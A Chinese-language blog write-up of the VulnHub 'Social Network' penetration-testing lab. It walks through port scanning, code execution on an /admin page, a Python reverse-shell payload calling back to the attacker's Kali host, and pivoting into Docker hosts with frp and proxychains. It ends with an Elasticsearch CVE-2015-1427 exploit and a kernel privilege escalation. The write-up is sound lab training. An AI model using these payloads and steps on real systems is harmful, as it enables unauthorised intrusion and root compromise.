VulnHub BOREDHACKERBLOG SOCIAL NETWORK

发布于:2023-01-04 ⋅ 阅读:(407) ⋅ 点赞:(0)

靶场搭建

靶场下载地址:BoredHackerBlog: Social Network ~ VulnHub

下载下来是虚拟机.ova压缩文件,直接用Vmvare导出就行

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

开启虚拟机

靶场搭建完成

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

128为kali攻击机,所以129为靶机

扫描靶机所开放的端口、服务及版本

nmap -sT -p 0-65535 -A 192.168.52.129

开放了22端口,存在ssh服务

开放了5000端口,存在Werkzeug httpd 0.14.1服务(WEB)

先访问一下WEB

发现可以发表评论到网页上

测试了一下不存在XSS

扫描铭感目录

发现存在/admin路径

发现是一个代码执行的页面,并且使用exec()执行

由于前面扫描时知道这个网站使用基于python的Werkzeug httpd搭建的,所以我们尝试一下执行python代码

提示状态为执行了这个代码

当输入不正确代码时,会提示出现问题

尝试一下用python来执行代码来反弹shell

import os os.system('nc -l -p 4444 -e /bin/bash')

代码显示执行成功,但是显示连不上4444端口,说明可能主机上没有nc这个工具

换一种方式

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.52.128",4445))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

先在kali上用nc监听端口

然后执行代码

成功获得shell

发现是在docker环境下

我们需要扫描一下docker环境下是否有其它主机存活,由于这是在靶场环境下,而且网段太大所以我们只扫描了几台主机,发现172.17.0.1-3为开放主机

我们要扫描主机,因此我们要使kali能够连通docker的内网,需要做内网穿透

这里我用到一款叫frp的内网穿透工具(也可以使用venom这款工具),下载地址:https://github.com/fatedier/frp

将frpv.ini文件的服务器地址改为kali攻击机的地址,并且加上socks配置,以便建立代理

在kali上搭建一个临时的网站

   python3 -m http.server 80

或者python2 -m SimpleHTTPServer 80

将frpc和frpc.ini通过wget下载到靶机

在kali上运行frps

./frps -c frps.ini

在靶机上运行frpc

./frpc -c frpc.ini

 

在kali上利用proxychains来连接代理,修改proxychains配置文件

vi /etc/proxycains4.conf

代理搭建完成

扫描存活主机开放服务端口

proxychains nmap -sT -A 172.17.0.1

发现和刚才在外网那台52.129主机一样,页面也是一样的,确认为同一台主机

proxychains nmap -sT -A 172.17.0.2

发现开放了9200端口,有Elasticsearch REST API 1.4.2服务

访问一下

搜索一下这个服务相应版本漏洞,发现此版本存在一个rce漏洞CVE-2015-1427

找到对应的exp下载下来

执行exp获得root权限

 

在目录下发现passwords文件

把这些密码和密码hash都解出来

用账号密码可以用于ssh登录,最开始我们扫描52.129靶机开放了ssh服务,尝试登录,发现只有john这个用户可以登录

接下来进行提权,这里用到一个叫做linpeas的工具,它可以自动进行信息搜集,列出主机提权的方法,给出提权的建议

两种方式都失败了

换其他方式

在kali上利用searchsploit搜索内核linux 3.13的漏洞,这些可能都可以利用,可以一个一个试

这里我们使用37292这个漏洞

将这个文件复制到/root目录下

  cp /usr/share/exploitdb/exploits/linux/local/37292.c /root

查看文件内容,文件需要gcc编译,而且在文件运行时也需要用到gcc

但是靶机中没有gcc

所以我们需要修改代码,在kali上编译后上传到靶机执行

这段代码会调用c语言源代码生成二进制库文件,我们可以在kali中直接找到这个二进制库文件,就不需要gcc编译了

 

删除这段代码

进行编译(报错不影响正常使用)

我们还需要在kali中找到二进制文件ofs-lib.so文件

将两个文件上传到靶机上

赋予权限,执行,成功提权获得root权限